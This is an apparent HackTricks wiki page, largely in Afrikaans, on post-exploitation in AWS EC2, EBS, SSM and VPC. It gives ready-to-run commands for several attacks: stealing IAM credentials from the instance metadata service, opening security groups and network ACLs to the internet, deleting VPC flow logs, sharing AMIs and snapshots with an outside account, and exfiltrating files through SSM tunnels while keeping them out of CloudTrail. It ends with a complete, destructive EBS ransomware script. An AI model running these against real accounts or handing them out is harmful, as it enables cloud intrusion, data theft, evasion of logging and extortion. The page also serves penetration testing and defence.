# AWS - EC2, EBS, SSM & VPC Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## EC2 & VPC

Vir meer inligting, sien:

{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`

VPC traffic mirroring **dupliseer binnestromende en uitgaande verkeer vir EC2 instances binne 'n VPC** sonder die behoefte om enigiets op die instansies self te installeer. Hierdie gedupliseerde verkeer sou gewoonlik na iets soos 'n network intrusion detection system (IDS) gestuur word vir ontleding en monitering.\
'n Aanvaller kan dit misbruik om al die verkeer vas te vang en sensitiewe inligting daaruit te verkry:

Vir meer inligting, kyk na hierdie blad:

{{#ref}}
aws-malicious-vpc-mirror.md
{{#endref}}

### Copy Running Instance

Instansies bevat gewoonlik 'n vorm van sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). 'n Ander manier om te sien wat dit bevat, is om 'n **AMI te skep en 'n nuwe instance (selfs in jou eie account) daarvandaan te begin**:
```shell
# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```
### EBS Snapshot dump

**Snapshots are backups of volumes**, wat gewoonlik **sensitiewe inligting** sal bevat, daarom behoort die inspeksie daarvan hierdie inligting te openbaar.\
As jy 'n **volume sonder 'n snapshot** vind, kan jy: 'n **snapshot skep** en die volgende aksies uitvoer of dit eenvoudig **mount in 'n instance** binne die rekening:

{{#ref}}
aws-ebs-snapshot-dump.md
{{#endref}}

### Covert Disk Exfiltration via AMI Store-to-S3

Voer 'n EC2 AMI direk na S3 uit met `CreateStoreImageTask` om 'n rou skyfbeeld te kry sonder snapshot-sharing. Dit maak volle aflyn forensiese ontleding of data-diefstal moontlik terwyl die instance-netwerk onveranderd bly.

{{#ref}}
aws-ami-store-s3-exfiltration.md
{{#endref}}

### Live Data Theft via EBS Multi-Attach

Sluit 'n io1/io2 Multi-Attach volume aan by 'n tweede instance en mount dit as read-only om lewendige data te aftap sonder snapshots. Bruikbaar wanneer die slagoffer-volume reeds Multi-Attach binne dieselfde AZ aangeskakel het.

{{#ref}}
aws-ebs-multi-attach-data-theft.md
{{#endref}}

### EC2 Instance Connect Endpoint Backdoor

Skep 'n EC2 Instance Connect Endpoint, verleen ingress, en injekteer kortstondige SSH-sleutels om private instances oor 'n bestuurde tonnel te bereik. Bied vinnige laterale bewegingspaaie sonder om publieke poorte oop te maak.

{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
{{#endref}}

### EC2 ENI Secondary Private IP Hijack

Skuif 'n slagoffer-ENI se sekondêre private IP na 'n aanvaller-beheerde ENI om vertroude hosts wat per IP op 'n allowlist staan te imiteer. Hiermee kan interne ACLs of SG-reëls wat op spesifieke adresse gebaseer is, omseil word.

{{#ref}}
aws-eni-secondary-ip-hijack.md
{{#endref}}

### Elastic IP Hijack for Ingress/Egress Impersonation

Hersassosieer 'n Elastic IP van die slagoffer-instance na die aanvaller om inkomende verkeer te onderskep of uitgaande verbindings te begin wat voorkom asof hulle vanaf vertroude publieke IPs kom.

{{#ref}}
aws-eip-hijack-impersonation.md
{{#endref}}

### Security Group Backdoor via Managed Prefix Lists

As 'n security group-reël na 'n customer-managed prefix list verwys, brei die toevoeging van aanvaller-CIDRs tot die lys stilweg toegang uit oor elke afhanklike SG-reël sonder om die SG self te verander.

{{#ref}}
aws-managed-prefix-list-backdoor.md
{{#endref}}

### VPC Endpoint Egress Bypass

Skep gateway- of interface VPC endpoints om uitgaande toegang vanaf geïsoleerde subnets te herwin. Deur AWS-managed private links te benut word ontbrekende IGW/NAT-beheermaatreëls vir data-exfiltrasie omseil.

{{#ref}}
aws-vpc-endpoint-egress-bypass.md
{{#endref}}

### `ec2:AuthorizeSecurityGroupIngress`

'n Aanvaller met die ec2:AuthorizeSecurityGroupIngress-toestemming kan inkomende reëls by security groups voeg (byvoorbeeld deur tcp:80 vanaf 0.0.0.0/0 toe te laat), en sodoende interne dienste aan die publieke Internet of andersins ongemagtigde netwerke blootstel.
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
```
# `ec2:ReplaceNetworkAclEntry`
'n Aanvaller met ec2:ReplaceNetworkAclEntry (of soortgelyke) toestemmings kan 'n subnet se Network ACLs (NACLs) wysig om dit baie permissief te maak — byvoorbeeld deur 0.0.0.0/0 op kritieke poorte toe te laat — en sodoende die hele subnet-reeks bloot te stel aan die Internet of aan onbevoegde netwerksegmente. Anders as Security Groups, wat per instance toegepas word, word NACLs op subnetvlak toegepas, so die verandering van 'n beperkende NACL kan 'n veel groter blast radius hê deur toegang tot baie meer hosts moontlik te maak.
```bash
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
```
### `ec2:Delete*`

'n Aanvaller met ec2:Delete* en iam:Remove* regte kan kritieke infrastruktuurbronne en konfigurasies uitvee — byvoorbeeld key pairs, launch templates/versions, AMIs/snapshots, volumes of attachments, security groups of rules, ENIs/network endpoints, route tables, gateways, of managed endpoints. Dit kan onmiddellike diensonderbreking, dataverlies, en verlies van forensiese bewyse veroorsaak.

Een voorbeeld is die verwydering van 'n security group:

aws ec2 delete-security-group \
--group-id <SECURITY_GROUP_ID>

### VPC Flow Logs Cross-Account Exfiltration

Wys VPC Flow Logs na 'n deur die aanvaller beheerde S3 bucket om netwerk-metadata (bron/bestemming, poorte) voortdurend buite die slagofferrekening te versamel vir langtermyn verkenning.

{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
{{#endref}}

### Data Exfiltration

#### DNS Exfiltration

Selfs as jy 'n EC2 so afskerm dat geen verkeer kan uitgaan nie, kan dit steeds **exfil via DNS**.

- **VPC Flow Logs sal dit nie opneem nie**.
- Jy het geen toegang tot AWS DNS logs nie.
- Deaktiveer dit deur "enableDnsSupport" op false te stel met:

`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`

#### Exfiltration via API calls

'n Aanvaller kan API endpoints van 'n rekening wat hy beheer, aanroep. Cloudtrail sal hierdie oproepe log, en die aanvaller sal die exfiltrate data in die Cloudtrail logs kan sien.

### Open Security Group

Jy kan verdere toegang tot netwerkdienste kry deur poorte soos hierdie oop te maak:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc to ECS

Dit is moontlik om 'n EC2 instance te laat loop en dit te registreer sodat dit ECS instances kan laat loop, en dan die ECS instances se data te steel.

For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).

### ECS-on-EC2 IMDS Misbruik en ECS Agent-nabootsing (ECScape)

Op ECS met die EC2 launch type neem die control plane elke task role aan en stoot die tydelike credentials af na die ECS-agent oor die Agent Communication Service (ACS) WebSocket-kanaal. Die agent dien daardie credentials daarna aan kontainers via die task metadata endpoint (169.254.170.2). Die ECScape-navorsing wys dat as 'n kontainer IMDS kan bereik en die **instance profile** kan steel, dit die agent oor ACS kan naboots en **elke task role credential** op daardie host kan ontvang, insluitend **task execution role** credentials wat nie via die metadata-endpoint blootgestel word nie.

#### Aanvalsketting

1. **Steel die container instance role vanaf IMDS.** IMDS-toegang is nodig om die host role te verkry wat deur die ECS-agent gebruik word.

```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
```
2. **Ontdek die ACS poll endpoint en vereiste identifiseerders.** Gebruik die instance role credentials om `ecs:DiscoverPollEndpoint` aan te roep om die ACS endpoint te kry en identifiseerders te versamel soos die cluster ARN en container instance ARN. Die cluster ARN word blootgestel via task metadata (169.254.170.2/v4/), terwyl die container instance ARN via die agent introspection API of (indien toegelaat) `ecs:ListContainerInstances` verkry kan word.
3. **Naboots die ECS-agent oor ACS.** Inisieer 'n SigV4-ondertekende WebSocket na die poll endpoint en sluit `sendCredentials=true` in. ECS aanvaar die verbinding as 'n geldige agent-sessie en begin `IamRoleCredentials`-boodskappe vir **alle** tasks op die instance stroom. Dit sluit task execution role credentials in, wat ECR-pulls, Secrets Manager-opvraginge of CloudWatch Logs-toegang kan ontsluit.

**Find the PoC in <https://github.com/naorhaziz/ecscape>**

#### IMDS-bereikbaarheid met IMDSv2 + hop limit 1

Deur IMDSv2 te stel met `HttpTokens=required` en `HttpPutResponseHopLimit=1` word slegs tasks geblokkeer wat agter 'n ekstra hop (Docker bridge) woon. Ander netwerkmodes bly binne een hop van die Nitro controller en ontvang steeds antwoorde:

| ECS network mode | IMDS reachable? | Rede |
| --- | --- | --- |
| `awsvpc` | ✅ | Elke task kry sy eie ENI wat steeds een hop van IMDS af is, so tokens en metadata-antwoorde kom suksesvol aan. |
| `host` | ✅ | Tasks deel die host-namespace, so hulle sien dieselfde hop-afstand as die EC2 instance. |
| `bridge` | ❌ | Antwoorde sterf op die Docker bridge omdat daardie ekstra hop die hop-limiet uitgeput. |

Daarom, **moet jy nooit aanvaar dat hop limit 1 beskerm `awsvpc` of host-mode workloads nie**—toets altyd van binne jou kontainers.

#### Opsporing van IMDS-blokke per netwerkmode

- **awsvpc tasks:** Sekuriteitsgroepe, NACLs, of routing-aanpassings kan nie die link-local 169.254.169.254 adres blokkeer nie omdat Nitro dit op-host injekteer. Kyk na `/etc/ecs/ecs.config` vir `ECS_AWSVPC_BLOCK_IMDS=true`. As die vlag ontbreek (standaard) kan jy IMDS direk vanaf die taak curl. As dit gestel is, pivot in die host/agent-namespace om dit terug te skakel of voer jou gereedskap buite `awsvpc` uit.

- **bridge mode:** Wanneer metadata-versoeke misluk al is hop limit 1 gekonfigureer, het verdedigers waarskynlik 'n `DOCKER-USER` drop-reël ingevoeg soos `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Lys `iptables -S DOCKER-USER` openbaar dit, en root-toegang laat jou toe om die reël te verwyder of te herordeneer voordat jy IMDS navraag doen.

- **host mode:** Inspekteer die agent-konfigurasie vir `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Daardie instelling verwyder task IAM-rolle heeltemal, so jy moet dit óf weer aktiveer, oorskakel na `awsvpc`-tasks, of credentials deur 'n ander proses op die host steel. Wanneer die waarde `true` is (standaard), kan elke host-mode proses—insluitend gecompromitteerde kontainers—IMDS bereik, tensy spesiale eBPF/cgroup-filters die adres `169.254.169.254` teiken; soek na tc/eBPF-programme of iptables-reëls wat daardie adres noem.

Latacora het selfs [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) vrygestel wat jy in 'n teikenrekening kan plaas om te bepaal watter netwerkmodes steeds metadata blootstel en jou volgende stap te beplan.

Sodra jy verstaan watter modes IMDS blootstel, kan jy jou post-exploitation-pad beplan: teiken enige ECS task, versoek die instance profile, naboots die agent, en oes elke ander task role vir laterale beweging of persistensie binne die cluster.

### Verwyder VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
### SSM Port Forwarding

Vereiste toestemmings:

- `ssm:StartSession`

Benewens command execution, laat SSM toe vir traffic tunneling wat misbruik kan word om te pivot vanaf EC2 instances wat nie netwerktoegang het as gevolg van Security Groups of NACLs nie.
Een van die scenario's waar dit nuttig is, is om van 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) te pivot na 'n private EKS cluster.

> Om 'n sessie te begin moet jy die SessionManagerPlugin geïnstalleer hê: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

1. Installeer die SessionManagerPlugin op jou masjien
2. Meld aan by die Bastion EC2 met die volgende opdrag:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Kry die Bastion EC2 AWS temporary credentials met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
4. Dra die credentials oor na jou eie masjien in die `$HOME/.aws/credentials` lêer as die `[bastion-ec2]` profiel
5. Teken in op EKS as die Bastion EC2:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
6. Werk die `server` veld in die `$HOME/.kube/config` lêer by om na `https://localhost` te wys
7. Skep 'n SSM tunnel soos volg:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. Die verkeer van die `kubectl`-hulpmiddel word nou deur die SSM-tunnel via die Bastion EC2 deurgestuur en jy kan die private EKS-cluster vanaf jou eie masjien bereik deur die volgende uit te voer:
```shell
kubectl get pods --insecure-skip-tls-verify
```
Neem kennis dat die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify` vlag (of die ekwivalent in K8s-auditgereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy beskerm teen enige soort MitM-aanvalle.

Laastens is hierdie tegniek nie spesifiek tot die aanval van privaat EKS-klusters nie. Jy kan willekeurige domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.

---

#### Vinnige Plaaslike ↔️ Afstandlike Port Forward (AWS-StartPortForwardingSession)

As jy net een TCP-poort van die EC2 instance na jou plaaslike host hoef te forward, kan jy die `AWS-StartPortForwardingSession` SSM document gebruik (geen remote host-parameter benodig):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
Die opdrag stel 'n bidirectionele tonnel in tussen jou werkstasie (`localPortNumber`) en die gekose poort (`portNumber`) op die instance **sonder om enige inkomende Security-Group-reëls oop te maak**.

Algemene gebruiksgevalle:

* **File exfiltration**
1. Op die instance begin 'n vinnige HTTP-server wat na die gids wys wat jy wil exfiltrate:

```bash
python3 -m http.server 8000
```

2. Vanaf jou werkstasie haal die lêers deur die SSM-tonnel:

```bash
curl http://localhost:8000/loot.txt -o loot.txt
```

* **Toegang tot interne webtoepassings (bv. Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
Wenk: Komprimeer en enkripteer bewyse voordat jy dit eksfiltreer sodat CloudTrail nie die clear-text inhoud log nie:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
```
### Deel AMI
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### Soek sensitiewe inligting in openbare en private AMIs

- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **te soek na sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs)**. Dit outomatiseer die proses om instances vanaf teiken-AMIs te begin, hul volumes te mount en te skandeer vir potensiële secrets of sensitiewe data.

### Deel EBS Snapshot
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### EBS Ransomware PoC

'n bewys van konsep soortgelyk aan die Ransomware-demonstrasie in die S3 post-exploitation notas. KMS behoort hernoem te word na RMS vir Ransomware Management Service, gegewe hoe maklik dit is om verskeie AWS-dienste daarmee te enkripteer.

Eerstens, vanaf 'attacker' AWS rekening, skep 'n customer managed key in KMS. Vir hierdie voorbeeld sal ons AWS die key data vir ons bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die key data buite AWS se beheer behou. Verander die key policy om enige AWS account Principal toe te laat om die sleutel te gebruik. Vir hierdie key policy was die rekening se naam 'AttackSim' en die policy rule wat volle toegang gee word 'Outside Encryption' genoem.
```
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
```
Die sleutelbeleid moet die volgende geaktiveer hê om die gebruik daarvan vir die enkripsie van 'n EBS-volume toe te laat:

- `kms:CreateGrant`
- `kms:Decrypt`
- `kms:DescribeKey`
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`

Nou, met die openbaar toeganklike sleutel beskikbaar, kan ons 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instansies gedraai het met ongeënkripteerde EBS-volumes aangeheg. Die EBS-volumes van hierdie 'slagoffer' rekening is wat ons teiken vir enkripsie; hierdie aanval vind plaas onder die veronderstelde oortreding van 'n hoë-privilege AWS-account.

![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)

Soos in die S3 ransomware-voorbeeld. Die aanval gaan kopieë van die aangehegte EBS-volumes skep deur snapshots te gebruik, die openbaar beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instansies loskoppel en verwyder, en uiteindelik die snapshots verwyder wat gebruik is om die nuut enkripteerde EBS-volumes te skep. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)

Die resultaat is dat slegs enkripteerde EBS-volumes in die rekening oorbly.

![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)

Dit is ook die moeite werd om te noem dat die script die EC2-instansies gestop het om die oorspronklike EBS-volumes los te koppel en te verwyder. Die oorspronklike ongeënkripteerde volumes is nou weg.

![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)

Gaan daarna terug na die sleutelbeleid in die 'aanvaller' rekening en verwyder die 'Outside Encryption' beleidsreël uit die sleutelbeleid.
```json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
```
Wag 'n oomblik sodat die pas ingestelde key policy kan versprei. Gaan dan terug na die 'victim' account en probeer om een van die pas geënkripteerde EBS volumes aan te heg. Jy sal vind dat jy die volume kan aanheg.

![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)

Maar wanneer jy probeer om die EC2 instance regtig weer te begin met die geënkripteerde EBS volume, sal dit net misluk en van die 'pending' toestand terug na die 'stopped' toestand gaan en daar bly, omdat die aangehegte EBS volume nie met die key ontsleuteld kan word nie, aangesien die key policy dit nie meer toelaat nie.

![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)

Dit is die python script wat gebruik is. Dit neem AWS creds vir 'n 'victim' account en 'n publiek beskikbare AWS ARN waarde vir die key wat vir enkripsie gebruik gaan word. Die script sal geënkripteerde kopieë maak van ALLE beskikbare EBS volumes wat aan ALLE EC2 instances in die geteikende AWS account geheg is, dan elke EC2 instance stop, die oorspronklike EBS volumes loskoppel, dit verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is, verwyder. Dit sal slegs geënkripteerde EBS volumes in die geteikende 'victim' account oorlaat. GEBRUIK DIT SLEGS IN 'N TOETSMILIEU, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONGLIKE EBS VOLUMES WEGMAAK. Jy kan hulle herstel deur die gebruikte KMS key te gebruik en hulle na hul oorspronklike toestand via snapshots te herstel, maar ek wil jou net daarop wys dat dit uiteindelik 'n ransomware PoC is.
```
import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
```
## Verwysings

- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)


{{#include ../../../../banners/hacktricks-training.md}}
